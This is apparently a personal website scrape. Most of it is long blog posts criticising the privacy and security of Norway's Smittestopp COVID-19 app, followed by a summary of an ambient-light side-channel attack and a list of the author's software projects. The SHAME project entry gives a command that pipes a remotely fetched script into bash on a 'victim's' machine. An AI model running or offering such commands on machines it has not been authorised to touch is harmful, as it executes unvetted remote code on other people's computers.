
Two purposes

The current app is all-or-nothing, in that users can chose to have their data used for all the app's purposes, or to not use the app.

It is obviously not ideal to not let users explicitly opt in for either purpose. Nor is it in accordance with regular GDPR-demands (though we must remember that this is a major crisis), nor even best practice. A potential consequence of implementing one app that collects a lot of data (as a consequence of enabling two purposes), as well as not giving users a choice is that user uptake may be hampered.

Data integrity and user traceability

The use and communications of static device identifiers makes it possible to track or impersonate others, trace users in limited/partial leaks, and so on. Just about every other proposed solution (both protocol specifications, and existing apps) use "rolling" identifiers in one form or another.

Data was temporarily stored in an unencrypted database on user devices in previous versions of the app, which made it possible to inject or modify data before uploading it to the server.

The application connects to a cloud solution using an everlasting connection string, using no other session handling.

All of this means that data integrity cannot be guaranteed, at least in the parts of the dataset collected before fixes for some of these issue was released.

Identifying users and analytics data

In order to use the application, users have to register their phone number (de facto identifying themselves). Functionally, there is no need to identify any involved party. Even in contact tracing, users could be notified by the application when a contact has been diagnosed with COVID-19 by health authorities. One could argue that registration is a mechanism that protects against bogus uploads to some extent – but this, in addition to protection of privacy, is in a sense built-in to decentralized approaches that demands human intervention before any upload takes place (e.g. distributing upload-codes, in the case of DP-3T) – many of which also lets users choose specificly what timespans to share.

Smittestopp was also found to be uploading analytics data (including potentially fingerprintable information) on just about any interaction the users do with the application – without telling users this (it was not stated in the privacy policy) or letting them choose whether they want to upload this data.

Legal implications

Note: I am not a lawyer. Read my reflections with this in mind.

The regulation that is the formal basis for processing of the data mentions that health- and location data collected for this purpose can not be shared with law enforcement, etc. Bluetooth-data, however, is not mentioned. I interpret this as sharing of Bluetooth-data being permitted. This would mean that parties the data is shared with could be able to, for instance, build social graphs of the data subjects. Though the regulation puts in place certain limitations (including a sunset-clause), the regulation also states that it can be changed at any time by the government via a new regulation.

The CLOUD Act and the Patriot Act mean that the U.S. government can demand, and secretly obtain data stored on the servers of American providers, even abroad. Most of the backend-services of this solution is hosted by Microsoft (a U.S. company) in Ireland, where there is already precedence for this.

Interoperability

Another consequence of the current Norwegian solution is that Norway will be unable to easily achieve data interoperability and collaboration with other European countries, as most of these already has implemented or will implement solutions based on Apple and Google's new APIs or DP-3T.

Other countries' contact tracing systems will therefore (in theory) be able to register contact events that involve citizens of other countries and/or persons using other apps, including apps produced by other countries' health officials.

Other

The publicly available DPIA (Norwegian) does not appear to seriously consider alternative approaches in implementation, nor consider malicious use of the data, data breach, or data leakage other than via security features of the mobile apps. Some of the probabilities stated in the risk-assesments seem too good to be true.

Using a static identifier that is never rotated is obviously a bad idea, and makes it possible to track users.

There is something to be desired in transparency; Both the purpose(s) of the application, as well as just how data is "anonymized" and aggregated should be clearly and specificly communicated to the public. The anonymization process was not finalized during our evaluation, other than involving various forms of aggregation – which does is not necessarily able to make any guarantees with regards to anonymity.

If code were open sourced, the public would be able to verify the functionality, as opposed to depending on "security by obscurity".

The fact that the functionality used to bind phone number to the cloud device ID is implemented using a so-called "preview feature", which the supplier says one should not use to process personal data or any other data that is subject to heightened compliance requirements, is obviously not great.

There were also various logging- and compliance-issues, such as users not being able to see any data about their Bluetooth-contacts, access logs from health authorities or view audit logs after requesting deletion.

The contact analysis code was very complicated and complex (low quality in a maintainability-context), and had weaknesses both in implementation and in method.

The app also used SMS to notify users, which is not a secure communications channel, and is easily spoofable.

Recommendations

The group's recommendations (in our final public report) included:

Clarifying the regulation which serves as basis for processing (changing "anonymized" to "deidentified"), to enable data aggregation in practice.
Split purposes, and allow users to choose how their data is used (split into several apps, or implement opt-in functionality). This might both protect users' interests and lead to more users.
Remove all data that is not needed (e.g. delete location data older than 15-16 days, delete location data without crossing trajectories at regular intervals) to increase data minimization.
Implement differential privacy in data aggregation processes, to reduce risk to privacy and increase accuracy of the resulting dataset.
Consider rewriting to a more distributed solution, post stabilized contact tracing criteria, as this could be both less invasive and lead to an increase in users.
Implement local differential privacy before uploading user data, to further decrease privacy impact.
Make as much source code as possible available as open source, to give the public real insight into how their data is used.
Regularly evaluate the solution, purpose and effect, to ensure that the solution is still suitable, and the problem is still relevant.

Discussion

It is not known whether digital contact tracing is a viable solution to the problem at hand. It is unknown what value it can bring, and if it is even feasable. Most scientists with direct experience claim digital contact tracing is at best complementary addition to manual contact tracing.

The Norwegian app is not in accordance with common European guidelines, the EU commision's recommendations on apps for contact tracing, the EU resolution on coordinated work against COVID-19, nor guidelines from the European Data Protection Board (EPDB).

Surveilling movements and contacts of all users of the app is an extremely invasive measure, and as the effectivenes and usefulness of the system is not clear, the proportionality of this measure is questionable at best. One would expect some sort of explanation, analysis or Privacy Impact Assessment (i.e. PIA; not a DPIA, or Data Protection Impact Assessment) – but none exists.

Regarding anonymization, FHI has written (Norwegian) this comment on our report (freely translated from Norwegian):

The report also has a recommendation of anonymization of data for analysis purposes, through so-called differential privacy. FHI has at this point already developed an elaborate system for anonymization that in FHIs view will have an equally anonymizing effect as so-called differential privacy, but which is easier to implement, communicate and doesn't lose any data quality to speak of.

While the statement makes sense syntactically, evaluating the logic is left as an exercise for the reader: Is it possible to somehow deliver anonymization to the same extent as differential privacy (but without the formal guarantees)?

The app is not open source, as it is claimed this might lead to bettered security in the long run, but will give would-be-attackers a chance to exploit vulnerabilities before anyone sees or fixes them in the short run.

Simula (the supplier) has themselves argued, in the case of whether to open source or not, that even if they acknowledge potential positive sides of doing this, it's about trust vs. real security. It's strange, then, that in discussions of privacy, they seem to believe that certain choices and actions are fine and defendable because the involved parties (themselves, FHI, the Norwegian government, etc.) are "good", as opposed to alternative parties (whether real or hypothetical).

Work on the project apparently started in early March. While things looked ugly back then – we didn't know how many could die etc. – anyone with serious competency in privacy would have thought (and at least considered implementations) along the lines of the distributed protocols we know today. Still, one might be able to forgive the choice to be more ambitious in data collection; What's worse is the refusal to adjust at any point of change in situation, and as we have gained a better technical understanding of the issues.

In aggregate, all of the above point to a flawed decision-making process, where privacy can not be said to be not "built in" – and the solution itself would seem to be to be the very antithesis of "privacy by design".

The Norwegian public generally trusts their government to a large extent. This makes it possible for us to take collective action in ways other countries cannot. At the same time, if government actions are more privacy-invasive than they need to be – in and of itself, or even by enabling a leak or misuse – we risk undermining this very trust.

An app that works this way should, in my professional opinion, obviously not be used by lawyers, journalists, people that work in defense, live at a secret address, are in positions of power, and so on.

Media strategy and public communications: A sidenote

Pretty early on in the process, Simula – the suppliers of the app, under contract from Norwegian Institute of Public Health (Folkehelseinstituttet, FHI) – was given critical feedback from the Norwegian Data Protection Authority.

Simula responded by writing blog posts asserting the normality of the situation, and that this was no cause for concern.

During our evaluation, a joint statement was released by Norwegian technology, security and privacy experts – asking the Norwegian health authorities to change course, which gained a lot of media attention.

While the Norwegian Institutee of Public Health remained silent, Simula wrote op-eds describing critics and those that would not use the app as selfish.

After delivering our final public report, which concluded that the solution handled neither security nor privacy responsibly, things got weird. During the press conference at which our group's leader presented our findings, the Norwegian Institute of Public Health commented that both security and privacy was responsibly handled in their opinion. At the same time Simula wrote a blogpost, in which they attacked the expert group's integrity – claiming that our conclusions were based on personal opinions, and that our recommendations were politically motivated (see screenshot below, Norwegian).

This part of the post basically translates to:

What about privacy?
The expert group concludes that they "think privacy is not well enough taken care of". Simula would like to point out that this is not justified with any sides of the app itself. The expert group do not wish that location data be collected, and they therefore conclude that privacy is not handled good enough.

Political recommendations
Several of the recommendations from the expert group, on the other hand, bears the impression of being the members' views on some familiar discussions that have been around Smittestopp along the way. This especially goes for the members of the group wanting contact tracing only locally on the phones (Recommendations "Go over to a dsitributed model for collection of data" and "Split the purposes and make it possible to elect to be part of only one") and that the members wish that the source code be made publicly available. ("Make available as much source code as possible as open source"). These are familiar subjects of debate, but has little to do with how Smittestopp works.

Their blogpost has since been edited (exchanging "political" for "personal"), but questioning the motives of an impartial external group tasked with evaluating their work in this way is concerning nonetheless.

In addition, Kyrre Lekve (Deputy Managing Director at Simula) said "There are many countries I think should not use the Norwegian solution – precisely because they don't have a well regulated democracy; They don't have strong privacy interests and governments that keep watch" (freely translated from Norwegian) in episode #2 of the Norwegian podcast Waterhouse.

Privacy would then by definition not be handled responsibly, as any privacy guarantees would be contingent on trust.

Key point: Data protection and and privacy are different things.

Later development

Although Simula and the Norwegian Institute of Public Health has just recently announced that they are experimenting with an app based on Apple and Google's new exposure notification APIs, it's too little, too late...

On June 15th, the Norwegian Data Protection Authority concluded that (in the context of the low Norwegian rate of infection), the degree of privacy-invasiveness in the Norwegian solution for contact tracing COVID-19 is not justified, as it is disproportionately invasive to privacy. They told FHI that they intended to enforce a temporary ban on processing of personal information from Smittestopp by the 23rd of June.

News broke that morning that FHI would stop all data collection from the app, and delete all previously collected data – though they would be able continue collection if they did it in a more responsible way, according to the DPA. This means that FHI themselves chose to delete all data.

The DPA said they were especially critical of the use of location data, pointing out that this goes against the recommendations of the World Health Organization and the European Data Protection Board.

FHI were given a week to document the usefulness of the app, and make neccessary adjustments.

Then, a day later, Amnesty International announced that they found Smittestopp to be among the most dangerous tracing apps for privacy.

On June 17th there were reports of people that had uninstalled the app many weeks prior were getting tex messages informing them about the pause in data collection – even though their data (including phone numbers) should already be deleted, acording to FHI.

FHI delivered a response to the Norwegian DPA, plus some other documents on June 24th, in which they state that they disagree with the DPA.

Update July 7th

On July 7th NRK reported (Norwegian) that the Norwegian DPA had implemented the temporary ban on processing of personal information from Smittestopp for FHI.

FHI stated they were working to follow up the parliament's decision (in line with the recommendations of our report) of splitting the app in two based on its functionality: an analysis-part, and a part for contact tracing.

Final words

Norway is hence worst-in-class in contact tracing apps for COVID-19.

This is pretty unexpected – and not something I would have seen coming half a year ago.

To be able to defend the privacy impact and degree of invasiveness, one would need a (probable) effect of utility; The calculus of necessity includes legality, necessity and proportionality. To claim it to be necessary, you need a (probable) effect to point to.

Amnesty, the Norwegian DPA, Parliament, EU, Google and Apple, the independent expert group, and 300 professionals in privacy and technology have all warned the involved parties several times. The fact that there has been no change until the entire app was put on hold is very strange given the degree of trust we usually pride ourselves on placing in experts in Norway.

I dare say that most engineers – and those with serious competency in security and/or privacy in particular – would see the issues inherent in the Norwegian model, and would have explored other alternatives to a larger extent.

There are privacy-preserving alternatives (such as the existing protocols and solutions), and they should always be explored first.

As for what the supplier, the producer and responsible party, or even politicians say and think about the privacy-implications of such solutions: When independent third parties are tasked with evaluating them (be it an expert group, the DPA or otherwise), it matters little what they feel about the results.

It's laudable to want to solve this very real, and very big problem with the means available to us. But we can't excuse bad work and a lack of understanding by claiming that the ends justifies the means.

What should be done now is to rewrite the app in a more privacy preserving way, as well as trying to learn from the methods, processess and decisions that have lead to this outcome in order not to make this mistake again.

The legend never dies

Most of us thought Smittestopp – the Norwegian COVID-19 app – was dead and gone after international media attention following Amnesty's ranking it among the three apps "most dangerous for privacy", and being shut down by the Norwegian Data Protection Authority... not so!

A little while ago, Simula (who were the producer/supplier of Smittestopp on behalf of the Norwegian Institute of Public Health) released a "report" (only available in Norwegian) initiated by themselves entitled "Comparison of alternative solutions for digital contact tracing" (directly translated from Norwegian) – basically evaluating their own work. In it, they attempt to absolve themselves of any responsibility or wrongdoing.

The report makes several claims, including:

That Google collects data that identifies person and location; This references a paper from Trinity college detailing potentially problematic analytics/telemetry collected via Google Play Services – including IMEI, WiFi MAC, email address, handset IP, etc.
That "the criticism was always based on views related to privacy, but was to a small extent related to the question of whether a distributed solution would work as well as a centralized solution. The technological challenge associated with digital infection detection is finding a good balance between effective infection detection and privacy, but the Norwegian debate was mainly about privacy. Thus, the problem appeared to be significantly narrower than it actually is." (translated)
"The driving factor behind the criticism of Smittestopp was the potential for harm that lies in the fact that data on the population's way of life was stored centrally for up to a month. There was a fear that data would fall into the hands of unauthorized persons, or that the authorities would use the data for purposes other than those authorized by law and regulations."
With regards to Play Services: "... and with a potential future version of Smittestopp not using GPS, the data collected by Google will be clearly more intrusive than a future Smittestopp will be."
"The risk that data may go astray from Smittestopp or from Google appears to be comparable. Google is one of the most professional players in the world when it comes to data security. Data from Infection Control was stored in Microsoft's server park in Ireland, and was monitored 24 hours a day by Mnemonic."
"The big difference between the solutions, however, lies in what data is allowed to be used for. Data from the Smittestopp could only be used for contact tracing and for the acquisition of knowledge to combat the pandemic. Furthermore, it was required through regulations that all data from the Smittestopp should be deleted after one month. We are not aware that similar restrictions apply to data collected by Google."
The dedicate a chapter to "Technology power and technology risk"
With regards to monitoring the population: "There is reason to assume that integration of these functionalities in the same app will lead to the functionality for monitoring being used more than if it were a separate app only for monitoring. This is because monitoring alone will to a small extent provide an incentive for the individual citizen to download another app. Furthermore, there is reason to fear that it will give a significant skew in the data, in that only those who are basically inclined to follow orders and wishes from the authorities who would download the app. The ideal would therefore be if these two functionalities are integrated in the same app also in the future."
Regarding efficacy: "The assessment of how intrusive Smittestopp and other tracking solutions are in the individual's privacy must be seen in relation to the potential value they have in fighting the pandemic."
They appear to attempt to connect the problematic data sent via Play Services to the GAEN-protocol itself, and to compare this with the design and architecture of Smittestopp – beyond compiling and correlating between datasets (even though Google itself does not have acces to infection keys, from my understanding) – to then problematize this politically
"As of today, the solutions appear to be quite similar in terms of both performance and the data that is collected [...] However, the most crucial questions are of an administrative and political nature."

In other words: quite a lot of errors and questionable statements. They're clearly trying to save face and clear their name. And there still appears to be basic stuff they have not understood.

They keep referring to the potential for abuse; That is certainly a part of the privacy impact assessment, but they seem to still not understand that the privacy intervention happens at data collection itself.

Telemetry/analytics is nothing new, nor in the case of Google Play Services – though this data is clearly identifiable, and a pretty bad case.

It might be true that a version of Smittestopp that does not use GPS-data could be less invasive than a GAEN (Google Apple Notification Exposure) solution running on Google's platform (as this data collection is only seen on Android) – but this would only be true for certain if it were a decentralized app; Not collecting location data is surely less invasive, but collecting everyone's data all the time (as opposed to data from those with confirmed infection) is still more invasive than what seems to be strictly necessary for contact tracing, and in breach with numerous recommendations and best practices.

As for the claim that there is a comparable risk of data going astray between Smittestopp and "from Google" – it doesn't really make sense. Under the GAEN protocol, Google has no data. If they're talking about what is collected via the Play Services, that is another, unrelated matter – but it's still not necessarily comparable, as Google both owns their storage platform (which could be comparable to the cloud platform upon which Smittestopp's services ran), and has extensive experience and competency within building these sorts of solutions, as well as privacy engineering and security engineering itself. The same can not be said for Simula, as can be gleamed from publicly available documentation and reports.

With regards to what the collected data is allowed to be used for, GAEN does not provide Apple and Google with any data; To my knowledge, health authorities themselves must provide servers under GAEN, to which the infection keys are uploaded. What is collected via Play Services is another matter.

Claiming that "the ideal" would be an app that both does contact tracing and monitoring of the population betrays their perspective: From a purely functional point of view (i.e. in a hypothetical void imposing no other requirements) this might be true – but it's telling of what they've understood of the criticism so far.

Even their description of assessing the invasiveness of the solution is too simplistic –there is a trade-off between individual privacy and societal utility, but this isn't the whole picture. Even in the case that mobile apps could undoubtably solve the problem they attempt to solve (which is not certain) and even replace manual contact tracing entirely (no signs point to this, but to the contrary), one might not need 100% correctness to perform contact tracing to a sufficient extent.

There is an interesting discussion to be had about international power dynamics, private companies dictating nation state's technical approach to contact tracing (even though I personally think the practical outcome in the case of GAEN was good, realpolitikally speaking), etc. – but this is a whole other discussion.

The fact that they construct a problem by connecting this with a separate and unrelated (though admiteddly problematic) instance of data collection by Google, and try to play some speculative, political game is just ridiculous... especially given the fact that they infamously attacked the expert group's integrity when we delivered our public report – claiming that our conclusions were based on personal opinions, and that our recommendations were politically motivated.

Their report got some (English Google Translate) media attention, but also a couple of responses pointing out:

the total lack of self-criticism (English Google Translate)
the continued arrogance (English Google Translate)
that data collection from Play services is neither new nor surprising (English Google Translate)
the sorry state (English Google Translate) of privacy and privacy consciousness in Norway

The last of these pointed to Amnesty International's damning report on Smittestopp, which prompted a response (English Google Translate) from Kyrre Lekve (Simula), which – of course – attacked both Amnesty and the author of the piece.

He has since held a presentation for the students at University of Oslo, where he was asked what Simula though of Amnesty's report. His reponse was:

We think it was garbage! It is a lousy piece of work on Amnesty's part. They are abusing their power. They are very credible. They have abused that credibility. In our view, those conclusions from Amnesty are very ill-founded. Either they have been influenced by an activist agenda or they have done it to get attention, and both are both unprofessional and indefensible. Both we and the [Norwegian Institute of Public Health] perceived Amnesty's report as academically extremely weak.

He also announced that they would hold a seminar next month called "Smittestopp and experiences from digital contact tracing" (English Google Translate).

I think this looks extremely unprofessional, to put it mildly. Much of Amnesty's criticism was already well known, and is very similar to e.g. the EU commision's recommendations on apps for contact tracing, the EU resolution on coordinated work against COVID-19, and guidelines from the European Data Protection Board (EPDB). as well as issues pointed out both in the expert group's final public report and in the independent petition. Part of this is basic privacy engineering and privacy as a subject. Unfortunately, the statement joins the ranks of attacks, accusations and excuses that have formed a large part of the response to critical input - perhaps in an attempt to save reputation. The question is: Is it most likely that the rest of the world is wrong, or that there may be some of the criticism that is worth addressing?

It is all made more difficult by the fact that it seems people are discussing using different premises, or understands privacy differently on a basic level (see, for instance, earlier statements that suggests that interventions become less serious in regimes that can be trusted, etc.) Given the strong emotions we see in this extended debate, seems difficult.

One would think everyone would like to put Smittestopp "1.0" behind us – and that this is in everyone's best interest. Attempting to solve the problem and make a decent app, rather than bickering about the past is undoubtably our most productive alternative. And it is pretty remarkable to want to antagonize Amnesty.

Data leakage via ambient light

Yesterday I came across a tweet from Lukasz Olejnik, sharing his work on privacy assessment in web standards – and data leakage via the W3C Ambient Light Sensor API in particular.

TLDR; It deals with a sort of side channel attack: A list of domains is shown on the top of the screen, domain by domain; The background of the page is styled differently (black or white background) depending on whether the link is visited or not; The reflection of this background from the user's facial skin is picked up via the device's ambient light sensors. The user's browsing history can thereby be leaked.

This is a great example of privacy by design!

Check out a video (mp4) of his presentation at the International Workshop on Privacy Engineering – including a POC of the attack – and the paper it's based on.

Back Again

The site is finally up and running again! There are still some things (mainly related to aesthetics) missing, but it's almost 1:1 to what it used to be, funcitonality-wise. All links are preserved as well.

Some news since it went down:

Recorded a new cover song on a different instrument every day for Christmas '24
Learned rock-climbing; in gyms and outside; sport and trad
Back back into consulting
Recorded a new cover song on a different instrument every day for Christmas '25

More to come soon!

Pipify

Mon, 31 Oct 2022 00:00:00 GMT

A Safari extension that will create a simple button on any site, which triggers Picture-In-Picture on the first HTML5 video-element it finds.

Source code available on GitHub.

Baphomet

Thu, 19 Aug 2021 00:00:00 GMT

A norwegian Capture The Flag team.

See the team's homepage here.

Cleave

Fri, 19 Jul 2019 00:00:00 GMT

An application for macOS that lets you save and load your open applications, their windows and tabs as a "context".

An open beta will be available on the official website shortly.

Terroriser

Sat, 16 Feb 2019 00:00:00 GMT

A small site that illustrates why the Counter-Terrorism and Border Security Bill (UK) is a bad idea, by using (not really) rel="preload".

Terroriser is available on GitHub.

Vdisplay

Wed, 08 Aug 2018 00:00:00 GMT

An application that streams your desktop to a WebVR-context on your phone, which you can then use as a virtual display with a HMD mount.

Vdisplay is available on GitHub.

Dankenstein

Wed, 20 Jun 2018 00:00:00 GMT

A generator which lets users make a Markov Chain based mashup bot for Twitter.

Made during my own work on the Twitter bot Karl Jobs, which is described here.

Dankenstein is available on GitHub.

SHAME

Sun, 18 Feb 2018 00:00:00 GMT

Shame your coworkers into locking their computers by setting their desktop background to a random, stupid image.

Simply run curl -L https://git.io/shame | bash on your victim's machine.

Only supports macOS at the moment; multiplatform support is in the works.

SHAME is available on GitHub.

B3

Sat, 12 Nov 2016 00:00:00 GMT

Homegrown CMS based on PHP, upon which this site is built.

Succinctly described in this blogpost.

B3 is available on GitHub.

Faarikaal

Tue, 01 Dec 2015 00:00:00 GMT

A custom minimalistic, flat and dark Sublime Text 3 UI theme.

Installable via package control.

Faarikaal is available on GitHub.

prm

Thu, 01 Oct 2015 00:00:00 GMT

Prm is a minimal project manager for the terminal, or a workspace manager for the command line.

It lets users CRUD projects. Upon activation, each projects runs its associated start-script; on deactivation, it runs the project stop-script. These bash-scripts can be used for things like changing directories, setting environment variables, cleanup, etc. Prm also amends the prompt, showing the currently active project.

The project also includes shell completions for Bash.

Prm is available on GitHub.

Xkcd

Sat, 15 Aug 2015 00:00:00 GMT

Now you too can procrastinate directly from your editor!

The plugin opens a selected comic, title and alt-text in a transient view.

Current browsing features include:

Latest comic
List (searchable dropdown)
Random comic

Xkcd is available on GitHub.